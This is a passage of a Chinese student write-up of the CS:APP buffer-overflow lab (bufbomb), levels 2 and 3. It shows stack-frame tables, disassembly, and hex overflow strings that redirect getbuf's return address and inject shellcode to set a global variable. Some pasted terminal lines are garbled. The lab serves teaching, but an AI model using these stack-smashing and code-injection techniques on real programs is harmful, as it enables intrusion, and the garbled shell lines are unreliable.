8048d6b: e8 51 04 00 00 call 80491c1
8048d70: 89 c3 mov %eax,%ebx
test%esp

? 而在函数getbuf正常的执行完自己的"ret"这条汇编指令后的一瞬间,因为ret会将函数getbuf的返回地址弹出栈,所以这时的函数栈帧为:

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test%ebp
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test%esp

? 假如此时成功跳到了函数fizz去执行代码,而不是函数test中调用getbuf的下一行,那么执行完成函数fizz的前三行的结果,应该是:

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x556834d0函数test的%ebp值,也就是旧%ebp值fizz%ebp
0x556834b0fizz
0x556834acfizz%esp

08048c06 :
8048c06: 55 push %ebp
8048c07: 89 e5 mov %esp,%ebp
8048c09: 83 ec 08 sub $0x8,%esp

当执行函数fizz的第四行" 8048c0c: 8b 45 08 mov 0x8(%ebp),%eax"时,根据分析可知,这里的0x8(%ebp),即为fizz拿到的第一个参数。而%ebp+0x8=0x556834bc,所以根据这个条件,我们可以得知,我们的任务可以被进一步细化为:

  1. 0x556834b4这个内存地址处存放的值应为0x8048c06;
  2. 0x556834bc这个内存地址处存放的值应为根据我们的学号计算出来的cookie值。

而根据2021301381计算出的cookie值为0x666b63a4,所以:

  1. 0x556834b4这个内存地址处存放的值应为0x8048c06;
  2. 0x556834bc这个内存地址处存放的值应为0x666b63a4。

因此,当getbuf函数执行完毕Gets函数之后,函数栈帧应该为:

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test
0x556834cctest
… …test
… …test
0x556834bc0x666b63a4被修改之后,将提供给函数fizz作为fizz能拿到的第一个入口参数。test
0x556834b80x00000000test
0x556834b40x8048c06被修改之后,函数getbuf的返回地址.test
0x556834b00x00000000getbuf%ebp
0x556834ac0x00000000getbuf
0x556834a80x00000000getbuf
… …… …getbuf
0x556834880x00000000函数getbuf调用函数Gets,函数Gets读取我们输入的字符串之后返回函数getbuf的结果。getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

? 那么,我们输入的这串很长很长的字符串的ASCII码值应该长什么样子呢?应该长这个样子:00 00 … … 06 8c 04 08 00 00 00 00 a4 63 6b 66。与第一关相同,开头有44个00。使用下面的脚本生成44个00:

#!/bin/bash
output_file="output2.txt"
for ((i=0; i<44; i++))
do
    echo -n "00 " >> $output_file
done

npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat bash2.sh
#!/bin/bash
output_file=“output2.txt”
for ((i=0; i<44; i++))
do
echo -n "00 " >> o u t p u t f i l e d o n e n p u s e c @ u b u n t u : ? / D e s k t o p / 3 / b u f l a b 2021301381 output_file done npusec@ubuntu:~/Desktop/3/buflab2021301381 outputf?iledonenpusec@ubuntu:?/Desktop/3/buflab2021301381 chmod u+x bash2.sh
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bash2.sh
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output2.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 npusec@ubuntu:~/Desktop/3/buflab2021301381$

接着再在output2.txt文件的最后面,添加"06 8c 04 08 00 00 00 00 a4 63 6b 66",注意’06’的前面没有空格,因为44个0x00中,每个00后面都已经有了空格!

接着使用hex2raw文件,将我们的output2.txt文件进行转换,生成一个二进制文件output2.bin。生成二进制文件之后,使用命令"./bufbomb < output2.bin -u 2021301381",即可成功通过第二关!

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./hex2raw < output2.txt > output2.bin
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output2.bin
�ckf
npusec@ubuntu:~/Desktop/3/buflab2021301381$ xxd output2.bin
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000020: 0000 0000 0000 0000 0000 0000 068c 0408 …
00000030: 0000 0000 a463 6b66 0a …ckf.
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb < output2.bin -u 2021301381
Userid: 2021301381
Cookie: 0x666b63a4
Type string:Fizz!: You called fizz(0x666b63a4)
VALID
NICE JOB!
npusec@ubuntu:~/Desktop/3/buflab2021301381$

6. 第三关

? 第三关,我们的任务是,让bufbomb这个可执行文件在执行完毕函数getbuf并且准备返回时,并不是返回到函数test,而是返回到bang函数,也就是执行完函数getbuff之后,本应返回到函数test中的"8048d6b: e8 51 04 00 00 call 80491c1 “的下一行代码”8048d70: 89 c3 mov %eax,%ebx"中,结果返回到了函数bang的第一行代码” 08048c55 : "。而在这之前,还得要将名为global_value的全局变量的值设置为我们的cookie值。根据上述分析,得知我们的任务可以被拆分为两点:

  1. 函数getbuf的返回地址需要被修改为函数bang的第一行汇编代码;
  2. 函数getbuf执行结束,开始执行函数bang的第一行汇编代码时,全局变量global_value的值应为我们的cookie值。

因为函数getbuf的返回地址被保存在0x556834b4,函数bang的第一行汇编代码的地址为08048c55;所以,我们的任务可以进一步认为是:

  1. 0x556834b4这个内存地址处的值应为08048c55;
  2. 函数getbuf执行结束,开始执行函数bang的第一行汇编代码时,全局变量global_value的值应为我们的cookie值。

而通过查看函数bang的汇编代码,发现有两行:

8048c5b: a1 38 d1 04 08 mov 0x804d138,%eax
8048c60: 3b 05 40 d1 04 08 cmp 0x804d140,%eax

并且查看0x804d138与0x804d140这两个内存地址中的值:

pwndbg> x 0x804d138
0x804d138 <global_value>: 0x00000000
pwndbg> x 0x804d140
0x804d140 : 0x00000000
pwndbg>

注意!!!不要想当然的认为,0x804d138和0x804d140之间只差了2,那是想当然的认为是十进制了!!!事实上这两个地址之间,还有0x804d139, 0x804d13a, 0x804d13b, 0x804d13c, 0x804d13d, 0x804d13e, 0x804d13f!!!

所以我们可以确定,名为global_value的全局变量被保存在内存地址为0x804d138的这块内存当中。因此我们的任务可以进一步细化为:

  1. 0x556834b4这个内存地址处的值应为08048c55;
  2. 0x804d138这个内存地址处的值应为我们的cookie值。

08048c55 :
8048c55: 55 push %ebp
8048c56: 89 e5 mov %esp,%ebp
8048c58: 83 ec 08 sub $0x8,%esp
8048c5b: a1 38 d1 04 08 mov 0x804d138,%eax
8048c60: 3b 05 40 d1 04 08 cmp 0x804d140,%eax
8048c66: 75 21 jne 8048c89 <bang+0x34>
8048c68: 83 ec 04 sub $0x4,%esp
8048c6b: 50 push %eax
8048c6c: 68 a8 a1 04 08 push $0x804a1a8
8048c71: 6a 01 push $0x1
8048c73: e8 f8 fc ff ff call 8048970 __printf_chk@plt
8048c78: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048c7f: e8 5d 06 00 00 call 80492e1
8048c84: 83 c4 10 add $0x10,%esp
8048c87: eb 13 jmp 8048c9c <bang+0x47>
8048c89: 83 ec 04 sub $0x4,%esp
8048c8c: 50 push %eax
8048c8d: 68 a8 a3 04 08 push $0x804a3a8
8048c92: 6a 01 push $0x1
8048c94: e8 d7 fc ff ff call 8048970 __printf_chk@plt
8048c99: 83 c4 10 add $0x10,%esp
8048c9c: 83 ec 0c sub $0xc,%esp
8048c9f: 6a 00 push $0x0
8048ca1: e8 0a fc ff ff call 80488b0 exit@plt

? 这两个任务中的第一个任务比较简单,可是第二个任务就比较复杂了。我们该怎么完成第二个任务呢?考虑到在函数getbuf执行自己的"ret"代码之前,程序流都在0x0804开头的内存中的低地址部分。因此在函数getbuf执行自己的"ret"代码之前,我们是没有任何办法使用像前两关的方法,来修改0x804d138这个内存地址中的值的。而在函数getbuf正常的执行自己的"ret"代码之前时,函数栈帧如下图所示:

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test%ebp
0x556834cctest
… …test
… …test
0x556834bctest
0x556834b8test
0x556834b40x08048d70函数getbuf的返回地址,也就是当函数getbuf执行完毕之后,将返回到test函数中的哪个地方去。可以通过命令"x 0x556834b4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的test函数部分节选的代码:
8048d6b: e8 51 04 00 00 call 80491c1
8048d70: 89 c3 mov %eax,%ebx
test%esp

? 而在函数getbuf正常的执行完自己的"ret"这条汇编指令后的一瞬间,因为ret会将函数getbuf的返回地址弹出栈,所以这时函数test的栈帧顶会少一块,并且程序流被转向了0x08048d70这个内存地址中的指令。

? 那么思路来了,我们可不可以,让函数getbuf执行完自己的ret这条汇编指令之后,让程序流转向0x5568开头的内存地址中的指令呢?当程序流在0x5568开头的内存地址中的指令短暂执行过一段时间之后,再流回到0x0804开头的内存地址中的指令。也就是说,我们可以故意写一串字符串,使得当getbuf函数执行完毕Gets函数时,函数栈帧如下图所示:

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test
0x556834cc0x08048c55test
0x556834c8@@@@@@因为每一条汇编指令的长度都不一样,有5字节长、4字节长、3字节长、2字节长,甚至还有1字节长,所以这就导致下面四条汇编指令的长度之和不一定为4的倍数,所以将下面四条汇编指令的十六进制表示形式放在一起之后,不一定能刚刚好装得下。对于这道题,下面四条汇编指令的十六进制表示形式共有17个字节,多出来了一个字节(被存放在0x556834c8),所以最终用三个"90"来填充0x556834c9,0x556834ca,0x556834cb这三个内存地址。这样子%esp指向的内存的地址才能是一个4的倍数,简化了操作。test
0x556834c4@@@@@@汇编指令"ret"的十六进制形式。test
0x556834c0@@@@@@汇编指令"mov $0x556834cc,%esp"test
0x556834bc@@@@@@汇编指令"mov %edx,0x804d138"的十六进制形式。test
0x556834b8@@@@@@汇编指令"mov $0x666b63a4,%edx"的十六进制形式。test
0x556834b40x556834b8被修改之后,函数getbuf的返回地址,在这里将返回地址改成了0x556834b8,就是让程序流短暂调到这里,然后再返回到正常的部分。test
0x556834b00x00000000getbuf%ebp
0x556834ac0x00000000getbuf
0x556834a80x00000000getbuf
… …… …getbuf
0x556834880x00000000函数getbuf调用函数Gets,函数Gets读取我们输入的字符串之后返回函数getbuf的结果。getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

? 这样子,在函数getbuf执行完毕准备执行ret指令返回前的一瞬间,函数栈帧为:

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test%ebp
0x556834cc0x08048c55test
0x556834c8@@@@@@因为每一条汇编指令的长度都不一样,有5字节长、4字节长、3字节长、2字节长,甚至还有1字节长,所以这就导致下面四条汇编指令的长度之和不一定为4的倍数,所以将下面四条汇编指令的十六进制表示形式放在一起之后,不一定能刚刚好装得下。对于这道题,下面四条汇编指令的十六进制表示形式共有17个字节,多出来了一个字节(被存放在0x556834c8),所以最终用三个"90"来填充0x556834c9,0x556834ca,0x556834cb这三个内存地址。这样子%esp指向的内存的地址才能是一个4的倍数,简化了操作。test
0x556834c4@@@@@@汇编指令"ret"的十六进制形式。test
0x556834c0@@@@@@汇编指令"mov $0x556834cc,%esp"的十六进制形式。test
0x556834bc@@@@@@汇编指令"mov %edx,0x804d138"的十六进制形式。test
0x556834b8@@@@@@汇编指令"mov $0x666b63a4,%edx"的十六进制形式。test
0x556834b40x556834b8被修改之后,函数getbuf的返回地址,在这里将返回地址改成了0x556834b8,就是让程序流短暂调到这里,然后再返回到正常的部分。test%esp

? 当函数getbuf执行自己的ret指令时,ret指令将当前%esp所指的内容弹到%eip中(%eip保存着下一条指令的地址),接着%esp减去4。这样子程序流即被短暂的调到了0x556834b8这个内存地址所保存的指令当中。函数栈帧为:

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test%ebp
0x556834cc0x08048c55test
0x556834c8@@@@@@因为每一条汇编指令的长度都不一样,有5字节长、4字节长、3字节长、2字节长,甚至还有1字节长,所以这就导致下面四条汇编指令的长度之和不一定为4的倍数,所以将下面四条汇编指令的十六进制表示形式放在一起之后,不一定能刚刚好装得下。对于这道题,下面四条汇编指令的十六进制表示形式共有17个字节,多出来了一个字节(被存放在0x556834c8),所以最终用三个"90"来填充0x556834c9,0x556834ca,0x556834cb这三个内存地址。这样子%esp指向的内存的地址才能是一个4的倍数,简化了操作。test
0x556834c4@@@@@@汇编指令"ret"的十六进制形式。test
0x556834c0@@@@@@汇编指令"mov $0x556834cc,%esp"的十六进制形式。test
0x556834bc@@@@@@汇编指令"mov %edx,0x804d138"的十六进制形式。test
0x556834b8@@@@@@汇编指令"mov $0x666b63a4,%edx"的十六进制形式。test%esp

? 接着顺序执行指令,先mov $0x666b63a4,%edx,将0x666b63a4这个随机数,同时也是我们的cookie值放入寄存器%edx当中;然后mov %edx,0x804d138,将我们的cookie值放入内存地址0x804d138中,也就是让名为global_value的全局变量的值为我们的cookie值。然后mov $0x556834cc,%esp,让%esp指向0x556834cc这个内存地址,这样子再执行ret指令使得程序流返回到0x08048c55这个函数bang的第一行代码时,ret会将0x556834cc中的内容0x08048c55弹到%eip,而不是将0x556834b8中的内容@@@@@@弹到%eip。

? 那么,我们输入的这串很长很长的字符串的ASCII码值应该长什么样子呢?应该长这个样子:00 00 … … b8 34 68 55 @@ @@ @@ … @@@ 55 8c 04 08。与第一关相同,开头有44个00。使用下面的脚本生成44个00:

#!/bin/bash
output_file="output3.txt"
for ((i=0; i<44; i++))
do
    echo -n "00 " >> $output_file
done

npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat bash3.sh
#!/bin/bash
output_file=“output3.txt”
for ((i=0; i<44; i++))
do
echo -n "00 " >> o u t p u t f i l e d o n e n p u s e c @ u b u n t u : ? / D e s k t o p / 3 / b u f l a b 2021301381 output_file done npusec@ubuntu:~/Desktop/3/buflab2021301381 outputf?iledonenpusec@ubuntu:?/Desktop/3/buflab2021301381 chmod u+x bash3.sh
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bash3.sh
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output3.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 npusec@ubuntu:~/Desktop/3/buflab2021301381$

接着再在output3.txt文件的最后面,添加"b8 34 68 55",注意’b8’的前面没有空格,因为44个0x00中,每个00后面都已经有了空格!

此外,我们还需要获取那四条汇编指令对应的十六进制形式(这样说有点不准确)。该如何获取呢?

npusec@ubuntu:~/Desktop/3/buflab2021301381$ gcc -m32 -c -o asm.o asm.s
npusec@ubuntu:~/Desktop/3/buflab2021301381$ objdump -d asm.o > asm.txt
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat asm.txt

asm.o: 文件格式 elf32-i386

Disassembly of section .text:

00000000 <.text>:
0: ba a4 63 6b 66 mov $0x666b63a4,%edx
5: 89 15 38 d1 04 08 mov %edx,0x804d138
b: bc cc 34 68 55 mov 0 x 556834 c c , 10 : c 3 r e t n p u s e c @ u b u n t u : ? / D e s k t o p / 3 / b u f l a b 2021301381 0x556834cc,%esp 10: c3 ret npusec@ubuntu:~/Desktop/3/buflab2021301381 0x556834cc,10:c3retnpusec@ubuntu:?/Desktop/3/buflab2021301381

即这四条汇编指令对应的十六进制形式为:

ba a4 63 6b 66 89 15 38 d1 04 08 bc cc 34 68 55 c3

注意这里不需要对其进行翻转!!!

? 所以我们输入的这串很长很长的字符串的ASCII码值长这个样子:00 00 … … (44个00)b8 34 68 55 ba a4 63 6b 66 89 15 38 d1 04 08 bc cc 34 68 55 c3 90 90 90 55 8c 04 08

因此output3.txt文件的内容为:

npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output3.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 34 68 55 ba a4 63 6b 66 89 15 38 d1 04 08 bc cc 34 68 55 c3 90 90 90 55 8c 04 08
npusec@ubuntu:~/Desktop/3/buflab2021301381$

因此,在getbuf函数调用完Gets函数之后返回getbuf函数的一瞬间,函数栈帧为:

内存地址内存地址中的内容注释归属栈帧指向这个内存地址的寄存器
0xffffd0d8main
0xffffd0d4main
0xffffd0d0main
0xffffd0ccmain
… …main
… …main
0xffffd0a4函数main为函数launcher准备的第二个入口参数main
0xffffd0a0函数main为函数launcher准备的第一个入口参数main
0xffffd09c0x080491ad函数launcher的返回地址,也就是当函数launcher执行完毕之后,将返回到main函数中的哪个地方去。可以通过命令"x 0xffffd09c"查看函数launcher的返回地址。下面是从objdump命令的结果bufbomb.s文件中的main函数部分节选的代码:
80491a8: e8 2f fd ff ff call 8048edc
80491ad: 83 c4 10 add $0x10,%esp
main
0xffffd098launcher
0xffffd094launcher
… …launcher
… …launcher
0x55685ff8launcher
0x55685ff40x08048f61函数launch的返回地址,也就是当函数launch执行完毕之后,将返回到launcher函数中的哪个地方去。可以通过命令"x 0x55685ff4"查看函数launch的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launcher函数部分节选的代码:
8048f5c: e8 e5 fe ff ff call 8048e46
8048f61: a1 28 d1 04 08 mov 0x804d128,%eax
launcher
0x55685ff0launch
0x55685feclaunch
… …launch
… …launch
0x556834dclaunch
0x556834d8launch
0x556834d40x08048ea3函数test的返回地址,也就是当函数test执行完毕之后,将返回到launch函数中的哪个地方去。可以通过命令"x 0x556834d4"查看函数test的返回地址。下面是从objdump命令的结果bufbomb.s文件中的launch函数部分节选的代码:
8048e9e: e8 b9 fe ff ff call 8048d5c
8048ea3: 83 3d 3c d1 04 08 00 cmpl $0x0,0x804d13c
launch
0x556834d0test
0x556834cc0x08048c55test
0x556834c80x909090c3因为每一条汇编指令的长度都不一样,有5字节长、4字节长、3字节长、2字节长,甚至还有1字节长,所以这就导致下面四条汇编指令的长度之和不一定为4的倍数,所以将下面四条汇编指令的十六进制表示形式放在一起之后,不一定能刚刚好装得下。对于这道题,下面四条汇编指令的十六进制表示形式共有17个字节,多出来了一个字节(被存放在0x556834c8),所以最终用三个"90"来填充0x556834c9,0x556834ca,0x556834cb这三个内存地址。这样子%esp指向的内存的地址才能是一个4的倍数,简化了操作。test
0x556834c40x556834cc汇编指令"ret"的十六进制形式。test
0x556834c00xbc0804d1汇编指令"mov $0x556834cc,%esp"test
0x556834bc0x38158966汇编指令"mov %edx,0x804d138"的十六进制形式。test
0x556834b80x6b63a4ba汇编指令"mov $0x666b63a4,%edx"的十六进制形式。test
0x556834b40x556834b8被修改之后,函数getbuf的返回地址,在这里将返回地址改成了0x556834b8,就是让程序流短暂调到这里,然后再返回到正常的部分。test
0x556834b00x00000000getbuf%ebp
0x556834ac0x00000000getbuf
0x556834a80x00000000getbuf
… …… …getbuf
0x556834880x00000000函数getbuf调用函数Gets,函数Gets读取我们输入的字符串之后返回函数getbuf的结果。getbuf
… …getbuf
0x5568347cgetbuf
0x556834780x55683488getbuf函数为Gets函数准备的第一个入口参数getbuf%esp

接着使用hex2raw文件,将我们的output3.txt文件进行转换,生成一个二进制文件output3.bin。生成二进制文件之后,使用命令"./bufbomb < output3.bin -u 2021301381",即可成功通过第三关!

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./hex2raw < output3.txt > output3.bin
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output3.bin
�4hU��ckf�8��4hUD��U�
npusec@ubuntu:~/Desktop/3/buflab2021301381$ xxd output3.bin
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 …
